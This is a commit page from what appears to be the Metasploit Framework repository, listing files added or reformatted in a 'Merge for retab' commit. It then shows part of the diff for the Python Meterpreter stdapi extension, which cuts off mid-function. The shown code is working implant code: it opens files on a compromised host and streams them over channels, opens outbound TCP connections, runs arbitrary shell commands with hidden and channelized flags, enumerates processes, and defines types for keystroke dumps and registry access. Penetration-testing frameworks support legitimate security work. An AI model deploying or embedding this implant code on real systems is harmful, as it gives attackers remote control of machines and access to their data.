Browse Source

Merge for retab

Tab Assassin 6 years ago
parent
commit
4703a10b64
100 changed files with 41093 additions and 39536 deletions
  1. 857
    0
      data/meterpreter/ext_server_stdapi.py
  2. 410
    0
      data/meterpreter/meterpreter.py
  3. BIN
      data/meterpreter/metsrv.dll
  4. BIN
      data/meterpreter/metsrv.x64.dll
  5. 24
    0
      data/templates/scripts/to_exe.asp.template
  6. 30
    0
      data/templates/scripts/to_exe.aspx.template
  7. 81
    0
      data/templates/scripts/to_exe.vba.template
  8. 24
    0
      data/templates/scripts/to_exe.vbs.template
  9. 49
    0
      data/templates/scripts/to_exe_jsp.war.template
  10. 32
    0
      data/templates/scripts/to_mem.vba.template
  11. 30
    0
      data/templates/scripts/to_mem_dotnet.ps1.template
  12. 20
    0
      data/templates/scripts/to_mem_old.ps1.template
  13. 2
    2
      lib/anemone/core.rb
  14. 3
    3
      lib/anemone/extractors/anchors.rb
  15. 7
    7
      lib/anemone/extractors/dirbuster.rb
  16. 4
    4
      lib/anemone/extractors/forms.rb
  17. 3
    3
      lib/anemone/extractors/frames.rb
  18. 43
    43
      lib/anemone/extractors/generic.rb
  19. 3
    3
      lib/anemone/extractors/links.rb
  20. 19
    19
      lib/anemone/extractors/meta_refresh.rb
  21. 3
    3
      lib/anemone/extractors/scripts.rb
  22. 4
    4
      lib/anemone/page.rb
  23. 23
    23
      lib/anemone/rex_http.rb
  24. 84
    84
      lib/enumerable.rb
  25. 364
    364
      lib/fastlib.rb
  26. 59
    59
      lib/metasm/metasm.rb
  27. 26
    26
      lib/metasm/metasm/arm/debug.rb
  28. 154
    154
      lib/metasm/metasm/arm/decode.rb
  29. 60
    60
      lib/metasm/metasm/arm/encode.rb
  30. 51
    51
      lib/metasm/metasm/arm/main.rb
  31. 158
    158
      lib/metasm/metasm/arm/opcodes.rb
  32. 115
    115
      lib/metasm/metasm/arm/parse.rb
  33. 40
    40
      lib/metasm/metasm/arm/render.rb
  34. 1423
    1423
      lib/metasm/metasm/compile_c.rb
  35. 172
    172
      lib/metasm/metasm/dalvik/decode.rb
  36. 47
    47
      lib/metasm/metasm/dalvik/main.rb
  37. 296
    296
      lib/metasm/metasm/dalvik/opcodes.rb
  38. 185
    185
      lib/metasm/metasm/decode.rb
  39. 2632
    2632
      lib/metasm/metasm/decompile.rb
  40. 1994
    1994
      lib/metasm/metasm/disassemble.rb
  41. 1253
    1253
      lib/metasm/metasm/disassemble_api.rb
  42. 997
    997
      lib/metasm/metasm/dynldr.rb
  43. 287
    287
      lib/metasm/metasm/encode.rb
  44. 179
    179
      lib/metasm/metasm/exe_format/a_out.rb
  45. 26
    26
      lib/metasm/metasm/exe_format/autoexe.rb
  46. 175
    175
      lib/metasm/metasm/exe_format/bflt.rb
  47. 430
    430
      lib/metasm/metasm/exe_format/coff.rb
  48. 880
    880
      lib/metasm/metasm/exe_format/coff_decode.rb
  49. 1065
    1065
      lib/metasm/metasm/exe_format/coff_encode.rb
  50. 429
    429
      lib/metasm/metasm/exe_format/dex.rb
  51. 120
    120
      lib/metasm/metasm/exe_format/dol.rb
  52. 783
    783
      lib/metasm/metasm/exe_format/elf.rb
  53. 954
    954
      lib/metasm/metasm/exe_format/elf_decode.rb
  54. 1325
    1325
      lib/metasm/metasm/exe_format/elf_encode.rb
  55. 806
    806
      lib/metasm/metasm/exe_format/macho.rb
  56. 205
    205
      lib/metasm/metasm/exe_format/main.rb
  57. 150
    150
      lib/metasm/metasm/exe_format/mz.rb
  58. 156
    156
      lib/metasm/metasm/exe_format/nds.rb
  59. 389
    389
      lib/metasm/metasm/exe_format/pe.rb
  60. 229
    229
      lib/metasm/metasm/exe_format/serialstruct.rb
  61. 101
    101
      lib/metasm/metasm/exe_format/shellcode.rb
  62. 154
    154
      lib/metasm/metasm/exe_format/xcoff.rb
  63. 16
    16
      lib/metasm/metasm/gui.rb
  64. 334
    334
      lib/metasm/metasm/gui/cstruct.rb
  65. 188
    188
      lib/metasm/metasm/gui/dasm_coverage.rb
  66. 329
    329
      lib/metasm/metasm/gui/dasm_decomp.rb
  67. 80
    80
      lib/metasm/metasm/gui/dasm_funcgraph.rb
  68. 1331
    1331
      lib/metasm/metasm/gui/dasm_graph.rb
  69. 532
    532
      lib/metasm/metasm/gui/dasm_hex.rb
  70. 588
    588
      lib/metasm/metasm/gui/dasm_listing.rb
  71. 875
    875
      lib/metasm/metasm/gui/dasm_main.rb
  72. 280
    280
      lib/metasm/metasm/gui/dasm_opcodes.rb
  73. 1197
    1197
      lib/metasm/metasm/gui/debug.rb
  74. 779
    779
      lib/metasm/metasm/gui/gtk.rb
  75. 418
    418
      lib/metasm/metasm/gui/qt.rb
  76. 1631
    1631
      lib/metasm/metasm/gui/win32.rb
  77. 389
    389
      lib/metasm/metasm/gui/x11.rb
  78. 1504
    1504
      lib/metasm/metasm/ia32/compile_c.rb
  79. 181
    181
      lib/metasm/metasm/ia32/debug.rb
  80. 1152
    1152
      lib/metasm/metasm/ia32/decode.rb
  81. 551
    551
      lib/metasm/metasm/ia32/decompile.rb
  82. 301
    301
      lib/metasm/metasm/ia32/encode.rb
  83. 214
    214
      lib/metasm/metasm/ia32/main.rb
  84. 853
    853
      lib/metasm/metasm/ia32/opcodes.rb
  85. 282
    282
      lib/metasm/metasm/ia32/parse.rb
  86. 69
    69
      lib/metasm/metasm/ia32/render.rb
  87. 1090
    1090
      lib/metasm/metasm/main.rb
  88. 240
    240
      lib/metasm/metasm/mips/decode.rb
  89. 34
    34
      lib/metasm/metasm/mips/encode.rb
  90. 51
    51
      lib/metasm/metasm/mips/main.rb
  91. 403
    403
      lib/metasm/metasm/mips/opcodes.rb
  92. 37
    37
      lib/metasm/metasm/mips/parse.rb
  93. 29
    29
      lib/metasm/metasm/mips/render.rb
  94. 11
    11
      lib/metasm/metasm/os/gnu_exports.rb
  95. 1039
    1039
      lib/metasm/metasm/os/linux.rb
  96. 1652
    1652
      lib/metasm/metasm/os/main.rb
  97. 505
    505
      lib/metasm/metasm/os/remote.rb
  98. 1267
    1267
      lib/metasm/metasm/os/windows.rb
  99. 37
    37
      lib/metasm/metasm/os/windows_exports.rb
  100. 0
    0
      lib/metasm/metasm/parse.rb

+ 857
- 0
data/meterpreter/ext_server_stdapi.py View File

@@ -0,0 +1,857 @@
1
+import ctypes
2
+import fnmatch
3
+import getpass
4
+import os
5
+import platform
6
+import shlex
7
+import shutil
8
+import socket
9
+import struct
10
+import subprocess
11
+import sys
12
+
13
+has_windll = hasattr(ctypes, 'windll')
14
+
15
+try:
16
+	import pty
17
+	has_pty = True
18
+except ImportError:
19
+	has_pty = False
20
+
21
+try:
22
+	import pwd
23
+	has_pwd = True
24
+except ImportError:
25
+	has_pwd = False
26
+
27
+try:
28
+	import termios
29
+	has_termios = True
30
+except ImportError:
31
+	has_termios = False
32
+
33
+try:
34
+	import _winreg as winreg
35
+	has_winreg = True
36
+except ImportError:
37
+	has_winreg = False
38
+
39
+class PROCESSENTRY32(ctypes.Structure):
40
+	_fields_ = [("dwSize", ctypes.c_uint32),
41
+		("cntUsage", ctypes.c_uint32),
42
+		("th32ProcessID", ctypes.c_uint32),
43
+		("th32DefaultHeapID", ctypes.c_void_p),
44
+		("th32ModuleID", ctypes.c_uint32),
45
+		("cntThreads", ctypes.c_uint32),
46
+		("th32ParentProcessID", ctypes.c_uint32),
47
+		("thPriClassBase", ctypes.c_int32),
48
+		("dwFlags", ctypes.c_uint32),
49
+		("szExeFile", (ctypes.c_char * 260))]
50
+
51
+class SYSTEM_INFO(ctypes.Structure):
52
+	_fields_ = [("wProcessorArchitecture", ctypes.c_uint16),
53
+		("wReserved", ctypes.c_uint16),
54
+		("dwPageSize", ctypes.c_uint32),
55
+		("lpMinimumApplicationAddress", ctypes.c_void_p),
56
+		("lpMaximumApplicationAddress", ctypes.c_void_p),
57
+		("dwActiveProcessorMask", ctypes.c_uint32),
58
+		("dwNumberOfProcessors", ctypes.c_uint32),
59
+		("dwProcessorType", ctypes.c_uint32),
60
+		("dwAllocationGranularity", ctypes.c_uint32),
61
+		("wProcessorLevel", ctypes.c_uint16),
62
+		("wProcessorRevision", ctypes.c_uint16),]
63
+
64
+class SID_AND_ATTRIBUTES(ctypes.Structure):
65
+	_fields_ = [("Sid", ctypes.c_void_p),
66
+		("Attributes", ctypes.c_uint32),]
67
+
68
+##
69
+# STDAPI
70
+##
71
+
72
+#
73
+# TLV Meta Types
74
+#
75
+TLV_META_TYPE_NONE =       (   0   )
76
+TLV_META_TYPE_STRING =     (1 << 16)
77
+TLV_META_TYPE_UINT =       (1 << 17)
78
+TLV_META_TYPE_RAW =        (1 << 18)
79
+TLV_META_TYPE_BOOL =       (1 << 19)
80
+TLV_META_TYPE_COMPRESSED = (1 << 29)
81
+TLV_META_TYPE_GROUP =      (1 << 30)
82
+TLV_META_TYPE_COMPLEX =    (1 << 31)
83
+# not defined in original
84
+TLV_META_TYPE_MASK =    (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
85
+
86
+#
87
+# TLV Specific Types
88
+#
89
+TLV_TYPE_ANY =                 TLV_META_TYPE_NONE   |   0
90
+TLV_TYPE_METHOD =              TLV_META_TYPE_STRING |   1
91
+TLV_TYPE_REQUEST_ID =          TLV_META_TYPE_STRING |   2
92
+TLV_TYPE_EXCEPTION =           TLV_META_TYPE_GROUP  |   3
93
+TLV_TYPE_RESULT =              TLV_META_TYPE_UINT   |   4
94
+
95
+TLV_TYPE_STRING =              TLV_META_TYPE_STRING |  10
96
+TLV_TYPE_UINT =                TLV_META_TYPE_UINT   |  11
97
+TLV_TYPE_BOOL =                TLV_META_TYPE_BOOL   |  12
98
+
99
+TLV_TYPE_LENGTH =              TLV_META_TYPE_UINT   |  25
100
+TLV_TYPE_DATA =                TLV_META_TYPE_RAW    |  26
101
+TLV_TYPE_FLAGS =               TLV_META_TYPE_UINT   |  27
102
+
103
+TLV_TYPE_CHANNEL_ID =          TLV_META_TYPE_UINT   |  50
104
+TLV_TYPE_CHANNEL_TYPE =        TLV_META_TYPE_STRING |  51
105
+TLV_TYPE_CHANNEL_DATA =        TLV_META_TYPE_RAW    |  52
106
+TLV_TYPE_CHANNEL_DATA_GROUP =  TLV_META_TYPE_GROUP  |  53
107
+TLV_TYPE_CHANNEL_CLASS =       TLV_META_TYPE_UINT   |  54
108
+
109
+##
110
+# General
111
+##
112
+TLV_TYPE_HANDLE =              TLV_META_TYPE_UINT    |  600
113
+TLV_TYPE_INHERIT =             TLV_META_TYPE_BOOL    |  601
114
+TLV_TYPE_PROCESS_HANDLE =      TLV_META_TYPE_UINT    |  630
115
+TLV_TYPE_THREAD_HANDLE =       TLV_META_TYPE_UINT    |  631
116
+
117
+##
118
+# Fs
119
+##
120
+TLV_TYPE_DIRECTORY_PATH =      TLV_META_TYPE_STRING  | 1200
121
+TLV_TYPE_FILE_NAME =           TLV_META_TYPE_STRING  | 1201
122
+TLV_TYPE_FILE_PATH =           TLV_META_TYPE_STRING  | 1202
123
+TLV_TYPE_FILE_MODE =           TLV_META_TYPE_STRING  | 1203
124
+TLV_TYPE_FILE_SIZE =           TLV_META_TYPE_UINT    | 1204
125
+
126
+TLV_TYPE_STAT_BUF =            TLV_META_TYPE_COMPLEX | 1220
127
+
128
+TLV_TYPE_SEARCH_RECURSE =      TLV_META_TYPE_BOOL    | 1230
129
+TLV_TYPE_SEARCH_GLOB =         TLV_META_TYPE_STRING  | 1231
130
+TLV_TYPE_SEARCH_ROOT =         TLV_META_TYPE_STRING  | 1232
131
+TLV_TYPE_SEARCH_RESULTS =      TLV_META_TYPE_GROUP   | 1233
132
+
133
+##
134
+# Net
135
+##
136
+TLV_TYPE_HOST_NAME =           TLV_META_TYPE_STRING  | 1400
137
+TLV_TYPE_PORT =                TLV_META_TYPE_UINT    | 1401
138
+
139
+TLV_TYPE_SUBNET =              TLV_META_TYPE_RAW     | 1420
140
+TLV_TYPE_NETMASK =             TLV_META_TYPE_RAW     | 1421
141
+TLV_TYPE_GATEWAY =             TLV_META_TYPE_RAW     | 1422
142
+TLV_TYPE_NETWORK_ROUTE =       TLV_META_TYPE_GROUP   | 1423
143
+
144
+TLV_TYPE_IP =                  TLV_META_TYPE_RAW     | 1430
145
+TLV_TYPE_MAC_ADDRESS =         TLV_META_TYPE_RAW     | 1431
146
+TLV_TYPE_MAC_NAME =            TLV_META_TYPE_STRING  | 1432
147
+TLV_TYPE_NETWORK_INTERFACE =   TLV_META_TYPE_GROUP   | 1433
148
+
149
+TLV_TYPE_SUBNET_STRING =       TLV_META_TYPE_STRING  | 1440
150
+TLV_TYPE_NETMASK_STRING =      TLV_META_TYPE_STRING  | 1441
151
+TLV_TYPE_GATEWAY_STRING =      TLV_META_TYPE_STRING  | 1442
152
+
153
+# Socket
154
+TLV_TYPE_PEER_HOST =           TLV_META_TYPE_STRING  | 1500
155
+TLV_TYPE_PEER_PORT =           TLV_META_TYPE_UINT    | 1501
156
+TLV_TYPE_LOCAL_HOST =          TLV_META_TYPE_STRING  | 1502
157
+TLV_TYPE_LOCAL_PORT =          TLV_META_TYPE_UINT    | 1503
158
+TLV_TYPE_CONNECT_RETRIES =     TLV_META_TYPE_UINT    | 1504
159
+
160
+TLV_TYPE_SHUTDOWN_HOW =        TLV_META_TYPE_UINT    | 1530
161
+
162
+# Registry
163
+TLV_TYPE_HKEY               = TLV_META_TYPE_UINT    | 1000
164
+TLV_TYPE_ROOT_KEY           = TLV_TYPE_HKEY
165
+TLV_TYPE_BASE_KEY           = TLV_META_TYPE_STRING  | 1001
166
+TLV_TYPE_PERMISSION         = TLV_META_TYPE_UINT    | 1002
167
+TLV_TYPE_KEY_NAME           = TLV_META_TYPE_STRING  | 1003
168
+TLV_TYPE_VALUE_NAME         = TLV_META_TYPE_STRING  | 1010
169
+TLV_TYPE_VALUE_TYPE         = TLV_META_TYPE_UINT    | 1011
170
+TLV_TYPE_VALUE_DATA         = TLV_META_TYPE_RAW     | 1012
171
+TLV_TYPE_TARGET_HOST        = TLV_META_TYPE_STRING  | 1013
172
+
173
+# Config
174
+TLV_TYPE_COMPUTER_NAME =       TLV_META_TYPE_STRING  | 1040
175
+TLV_TYPE_OS_NAME =             TLV_META_TYPE_STRING  | 1041
176
+TLV_TYPE_USER_NAME =           TLV_META_TYPE_STRING  | 1042
177
+TLV_TYPE_ARCHITECTURE  =       TLV_META_TYPE_STRING  | 1043
178
+
179
+DELETE_KEY_FLAG_RECURSIVE = (1 << 0)
180
+
181
+# Process
182
+TLV_TYPE_BASE_ADDRESS =        TLV_META_TYPE_UINT    | 2000
183
+TLV_TYPE_ALLOCATION_TYPE =     TLV_META_TYPE_UINT    | 2001
184
+TLV_TYPE_PROTECTION =          TLV_META_TYPE_UINT    | 2002
185
+TLV_TYPE_PROCESS_PERMS =       TLV_META_TYPE_UINT    | 2003
186
+TLV_TYPE_PROCESS_MEMORY =      TLV_META_TYPE_RAW     | 2004
187
+TLV_TYPE_ALLOC_BASE_ADDRESS =  TLV_META_TYPE_UINT    | 2005
188
+TLV_TYPE_MEMORY_STATE =        TLV_META_TYPE_UINT    | 2006
189
+TLV_TYPE_MEMORY_TYPE =         TLV_META_TYPE_UINT    | 2007
190
+TLV_TYPE_ALLOC_PROTECTION =    TLV_META_TYPE_UINT    | 2008
191
+TLV_TYPE_PID =                 TLV_META_TYPE_UINT    | 2300
192
+TLV_TYPE_PROCESS_NAME =        TLV_META_TYPE_STRING  | 2301
193
+TLV_TYPE_PROCESS_PATH =        TLV_META_TYPE_STRING  | 2302
194
+TLV_TYPE_PROCESS_GROUP =       TLV_META_TYPE_GROUP   | 2303
195
+TLV_TYPE_PROCESS_FLAGS =       TLV_META_TYPE_UINT    | 2304
196
+TLV_TYPE_PROCESS_ARGUMENTS =   TLV_META_TYPE_STRING  | 2305
197
+TLV_TYPE_PROCESS_ARCH =        TLV_META_TYPE_UINT    | 2306
198
+TLV_TYPE_PARENT_PID =          TLV_META_TYPE_UINT    | 2307
199
+
200
+TLV_TYPE_IMAGE_FILE =          TLV_META_TYPE_STRING  | 2400
201
+TLV_TYPE_IMAGE_FILE_PATH =     TLV_META_TYPE_STRING  | 2401
202
+TLV_TYPE_PROCEDURE_NAME =      TLV_META_TYPE_STRING  | 2402
203
+TLV_TYPE_PROCEDURE_ADDRESS =   TLV_META_TYPE_UINT    | 2403
204
+TLV_TYPE_IMAGE_BASE =          TLV_META_TYPE_UINT    | 2404
205
+TLV_TYPE_IMAGE_GROUP =         TLV_META_TYPE_GROUP   | 2405
206
+TLV_TYPE_IMAGE_NAME =          TLV_META_TYPE_STRING  | 2406
207
+
208
+TLV_TYPE_THREAD_ID =           TLV_META_TYPE_UINT    | 2500
209
+TLV_TYPE_THREAD_PERMS =        TLV_META_TYPE_UINT    | 2502
210
+TLV_TYPE_EXIT_CODE =           TLV_META_TYPE_UINT    | 2510
211
+TLV_TYPE_ENTRY_POINT =         TLV_META_TYPE_UINT    | 2511
212
+TLV_TYPE_ENTRY_PARAMETER =     TLV_META_TYPE_UINT    | 2512
213
+TLV_TYPE_CREATION_FLAGS =      TLV_META_TYPE_UINT    | 2513
214
+
215
+TLV_TYPE_REGISTER_NAME =       TLV_META_TYPE_STRING  | 2540
216
+TLV_TYPE_REGISTER_SIZE =       TLV_META_TYPE_UINT    | 2541
217
+TLV_TYPE_REGISTER_VALUE_32 =   TLV_META_TYPE_UINT    | 2542
218
+TLV_TYPE_REGISTER =            TLV_META_TYPE_GROUP   | 2550
219
+
220
+##
221
+# Ui
222
+##
223
+TLV_TYPE_IDLE_TIME =           TLV_META_TYPE_UINT    | 3000
224
+TLV_TYPE_KEYS_DUMP =           TLV_META_TYPE_STRING  | 3001
225
+TLV_TYPE_DESKTOP =             TLV_META_TYPE_STRING  | 3002
226
+
227
+##
228
+# Event Log
229
+##
230
+TLV_TYPE_EVENT_SOURCENAME =    TLV_META_TYPE_STRING  | 4000
231
+TLV_TYPE_EVENT_HANDLE =        TLV_META_TYPE_UINT    | 4001
232
+TLV_TYPE_EVENT_NUMRECORDS =    TLV_META_TYPE_UINT    | 4002
233
+
234
+TLV_TYPE_EVENT_READFLAGS =     TLV_META_TYPE_UINT    | 4003
235
+TLV_TYPE_EVENT_RECORDOFFSET =  TLV_META_TYPE_UINT    | 4004
236
+
237
+TLV_TYPE_EVENT_RECORDNUMBER =  TLV_META_TYPE_UINT    | 4006
238
+TLV_TYPE_EVENT_TIMEGENERATED = TLV_META_TYPE_UINT    | 4007
239
+TLV_TYPE_EVENT_TIMEWRITTEN =   TLV_META_TYPE_UINT    | 4008
240
+TLV_TYPE_EVENT_ID =            TLV_META_TYPE_UINT    | 4009
241
+TLV_TYPE_EVENT_TYPE =          TLV_META_TYPE_UINT    | 4010
242
+TLV_TYPE_EVENT_CATEGORY =      TLV_META_TYPE_UINT    | 4011
243
+TLV_TYPE_EVENT_STRING =        TLV_META_TYPE_STRING  | 4012
244
+TLV_TYPE_EVENT_DATA =          TLV_META_TYPE_RAW     | 4013
245
+
246
+##
247
+# Power
248
+##
249
+TLV_TYPE_POWER_FLAGS =         TLV_META_TYPE_UINT    | 4100
250
+TLV_TYPE_POWER_REASON =        TLV_META_TYPE_UINT    | 4101
251
+
252
+##
253
+# Sys
254
+##
255
+PROCESS_EXECUTE_FLAG_HIDDEN = (1 << 0)
256
+PROCESS_EXECUTE_FLAG_CHANNELIZED = (1 << 1)
257
+PROCESS_EXECUTE_FLAG_SUSPENDED = (1 << 2)
258
+PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN = (1 << 3)
259
+
260
+PROCESS_ARCH_UNKNOWN = 0
261
+PROCESS_ARCH_X86 = 1
262
+PROCESS_ARCH_X64 = 2
263
+PROCESS_ARCH_IA64 = 3
264
+
265
+##
266
+# Errors
267
+##
268
+ERROR_SUCCESS = 0
269
+# not defined in original C implementation
270
+ERROR_FAILURE = 1
271
+
272
+# Special return value to match up with Windows error codes for network
273
+# errors.
274
+ERROR_CONNECTION_ERROR = 10000
275
+
276
+def get_stat_buffer(path):
277
+	si = os.stat(path)
278
+	rdev = 0
279
+	if hasattr(si, 'st_rdev'):
280
+		rdev = si.st_rdev
281
+	blksize = 0
282
+	if hasattr(si, 'st_blksize'):
283
+		blksize = si.st_blksize
284
+	blocks = 0
285
+	if hasattr(si, 'st_blocks'):
286
+		blocks = si.st_blocks
287
+	st_buf = struct.pack('<IHHH', si.st_dev, min(0xffff, si.st_ino), si.st_mode, si.st_nlink)
288
+	st_buf += struct.pack('<HHHI', si.st_uid, si.st_gid, 0, rdev)
289
+	st_buf += struct.pack('<IIII', si.st_size, si.st_atime, si.st_mtime, si.st_ctime)
290
+	st_buf += struct.pack('<II', blksize, blocks)
291
+	return st_buf
292
+
293
+def windll_GetNativeSystemInfo():
294
+	if not has_windll:
295
+		return None
296
+	sysinfo = SYSTEM_INFO()
297
+	ctypes.windll.kernel32.GetNativeSystemInfo(ctypes.byref(sysinfo))
298
+	return {0:PROCESS_ARCH_X86, 6:PROCESS_ARCH_IA64, 9:PROCESS_ARCH_X64}.get(sysinfo.wProcessorArchitecture, PROCESS_ARCH_UNKNOWN)
299
+
300
+@meterpreter.register_function
301
+def channel_create_stdapi_fs_file(request, response):
302
+	fpath = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
303
+	fmode = packet_get_tlv(request, TLV_TYPE_FILE_MODE)
304
+	if fmode:
305
+		fmode = fmode['value']
306
+		fmode = fmode.replace('bb', 'b')
307
+	else:
308
+		fmode = 'rb'
309
+	file_h = open(fpath, fmode)
310
+	channel_id = meterpreter.add_channel(file_h)
311
+	response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
312
+	return ERROR_SUCCESS, response
313
+
314
+@meterpreter.register_function
315
+def channel_create_stdapi_net_tcp_client(request, response):
316
+	host = packet_get_tlv(request, TLV_TYPE_PEER_HOST)['value']
317
+	port = packet_get_tlv(request, TLV_TYPE_PEER_PORT)['value']
318
+	local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST)
319
+	local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT)
320
+	retries = packet_get_tlv(request, TLV_TYPE_CONNECT_RETRIES).get('value', 1)
321
+	connected = False
322
+	for i in range(retries + 1):
323
+		sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
324
+		sock.settimeout(3.0)
325
+		if local_host.get('value') and local_port.get('value'):
326
+			sock.bind((local_host['value'], local_port['value']))
327
+		try:
328
+			sock.connect((host, port))
329
+			connected = True
330
+			break
331
+		except:
332
+			pass
333
+	if not connected:
334
+		return ERROR_CONNECTION_ERROR, response
335
+	channel_id = meterpreter.add_channel(sock)
336
+	response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
337
+	return ERROR_SUCCESS, response
338
+
339
+@meterpreter.register_function
340
+def stdapi_sys_config_getuid(request, response):
341
+	response += tlv_pack(TLV_TYPE_USER_NAME, getpass.getuser())
342
+	return ERROR_SUCCESS, response
343
+
344
+@meterpreter.register_function
345
+def stdapi_sys_config_sysinfo(request, response):
346
+	uname_info = platform.uname()
347
+	response += tlv_pack(TLV_TYPE_COMPUTER_NAME, uname_info[1])
348
+	response += tlv_pack(TLV_TYPE_OS_NAME, uname_info[0] + ' ' + uname_info[2] + ' ' + uname_info[3])
349
+	arch = uname_info[4]
350
+	if has_windll:
351
+		arch = windll_GetNativeSystemInfo()
352
+		if arch == PROCESS_ARCH_IA64:
353
+			arch = 'IA64'
354
+		elif arch == PROCESS_ARCH_X64:
355
+			arch = 'x86_64'
356
+		elif arch == PROCESS_ARCH_X86:
357
+			arch = 'x86'
358
+		else:
359
+			arch = uname_info[4]
360
+	response += tlv_pack(TLV_TYPE_ARCHITECTURE, arch)
361
+	return ERROR_SUCCESS, response
362
+
363
+@meterpreter.register_function
364
+def stdapi_sys_process_close(request, response):
365
+	proc_h_id = packet_get_tlv(request, TLV_TYPE_PROCESS_HANDLE)
366
+	if not proc_h_id:
367
+		return ERROR_SUCCESS, response
368
+	proc_h_id = proc_h_id['value']
369
+	proc_h = meterpreter.channels[proc_h_id]
370
+	proc_h.kill()
371
+	return ERROR_SUCCESS, response
372
+
373
+@meterpreter.register_function
374
+def stdapi_sys_process_execute(request, response):
375
+	cmd = packet_get_tlv(request, TLV_TYPE_PROCESS_PATH)['value']
376
+	raw_args = packet_get_tlv(request, TLV_TYPE_PROCESS_ARGUMENTS)
377
+	if raw_args:
378
+		raw_args = raw_args['value']
379
+	else:
380
+		raw_args = ""
381
+	flags = packet_get_tlv(request, TLV_TYPE_PROCESS_FLAGS)['value']
382
+	if len(cmd) == 0:
383
+		return ERROR_FAILURE, response
384
+	if os.path.isfile('/bin/sh'):
385
+		args = ['/bin/sh', '-c', cmd + ' ' + raw_args]
386
+	else:
387
+		args = [cmd]
388
+		args.extend(shlex.split(raw_args))
389
+	if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED):
390
+		if has_pty:
391
+			master, slave = pty.openpty()
392
+			if has_termios:
393
+				settings = termios.tcgetattr(master)
394
+				settings[3] = settings[3] & ~termios.ECHO
395
+				termios.tcsetattr(master, termios.TCSADRAIN, settings)
396
+			proc_h = STDProcess(args, stdin=slave, stdout=slave, stderr=slave, bufsize=0)
397
+			proc_h.stdin = os.fdopen(master, 'wb')
398
+			proc_h.stdout = os.fdopen(master, 'rb')
399
+			proc_h.stderr = open(os.devnull, 'rb')
400
+		else:
401
+			proc_h = STDProcess(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
402
+		proc_h.start()
403
+	else:
404
+		proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
405
+	proc_h_id = meterpreter.add_process(proc_h)
406
+	response += tlv_pack(TLV_TYPE_PID, proc_h.pid)
407
+	response += tlv_pack(TLV_TYPE_PROCESS_HANDLE, proc_h_id)
408
+	if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED):
409
+		channel_id = meterpreter.add_channel(proc_h)
410
+		response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
411
+	return ERROR_SUCCESS, response
412
+
413
+@meterpreter.register_function
414
+def stdapi_sys_process_getpid(request, response):
415
+	response += tlv_pack(TLV_TYPE_PID, os.getpid())
416
+	return ERROR_SUCCESS, response
417
+
418
+def stdapi_sys_process_get_processes_via_proc(request, response):
419
+	for pid in os.listdir('/proc'):
420
+		pgroup = ''
421
+		if not os.path.isdir(os.path.join('/proc', pid)) or not pid.isdigit():
422
+			continue
423
+		cmd = open(os.path.join('/proc', pid, 'cmdline'), 'rb').read(512).replace('\x00', ' ')
424
+		status_data = open(os.path.join('/proc', pid, 'status'), 'rb').read()
425
+		status_data = map(lambda x: x.split('\t',1), status_data.split('\n'))
426
+		status_data = filter(lambda x: len(x) == 2, status_data)
427
+		status = {}
428
+		for k, v in status_data:
429
+			status[k[:-1]] = v.strip()
430
+		ppid = status.get('PPid')
431
+		uid = status.get('Uid').split('\t', 1)[0]
432
+		if has_pwd:
433
+			uid = pwd.getpwuid(int(uid)).pw_name
434
+		if cmd:
435
+			pname = os.path.basename(cmd.split(' ', 1)[0])
436
+			ppath = cmd
437
+		else:
438
+			pname = '[' + status['Name'] + ']'
439
+			ppath = ''
440
+		pgroup += tlv_pack(TLV_TYPE_PID, int(pid))
441
+		if ppid:
442
+			pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(ppid))
443
+		pgroup += tlv_pack(TLV_TYPE_USER_NAME, uid)
444
+		pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, pname)
445
+		pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, ppath)
446
+		response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
447
+	return ERROR_SUCCESS, response
448
+
449
+def stdapi_sys_process_get_processes_via_ps(request, response):
450
+	ps_args = ['ps', 'ax', '-w', '-o', 'pid,ppid,user,command']
451
+	proc_h = subprocess.Popen(ps_args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
452
+	ps_output = proc_h.stdout.read()
453
+	ps_output = ps_output.split('\n')
454
+	ps_output.pop(0)
455
+	for process in ps_output:
456
+		process = process.split()
457
+		if len(process) < 4:
458
+			break
459
+		pgroup = ''
460
+		pgroup += tlv_pack(TLV_TYPE_PID, int(process[0]))
461
+		pgroup += tlv_pack(TLV_TYPE_PARENT_PID, int(process[1]))
462
+		pgroup += tlv_pack(TLV_TYPE_USER_NAME, process[2])
463
+		pgroup += tlv_pack(TLV_TYPE_PROCESS_NAME, os.path.basename(process[3]))
464
+		pgroup += tlv_pack(TLV_TYPE_PROCESS_PATH, ' '.join(process[3:]))
465
+		response += tlv_pack(TLV_TYPE_PROCESS_GROUP, pgroup)
466
+	return ERROR_SUCCESS, response
467
+
468
+def stdapi_sys_process_get_processes_via_windll(request, response):
469
+	TH32CS_SNAPPROCESS = 2
470
+	PROCESS_QUERY_INFORMATION = 0x0400
471
+	PROCESS_QUERY_LIMITED_INFORMATION = 0x1000
472
+	PROCESS_VM_READ = 0x10
473
+	TOKEN_QUERY = 0x0008
474
+	TokenUser = 1
475
+	k32 = ctypes.windll.kernel32
476
+	pe32 = PROCESSENTRY32()
477
+	pe32.dwSize = ctypes.sizeof(PROCESSENTRY32)
478
+	proc_snap = k32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
479
+	result = k32.Process32First(proc_snap, ctypes.byref(pe32))
480
+	if not result:
481
+		return ERROR_FAILURE, response
482
+	while result:
483
+		proc_h = k32.OpenProcess((PROCESS_QUERY_INFORMATION | PROCESS_VM_READ), False, pe32.th32ProcessID)
484
+		if not proc_h:
485
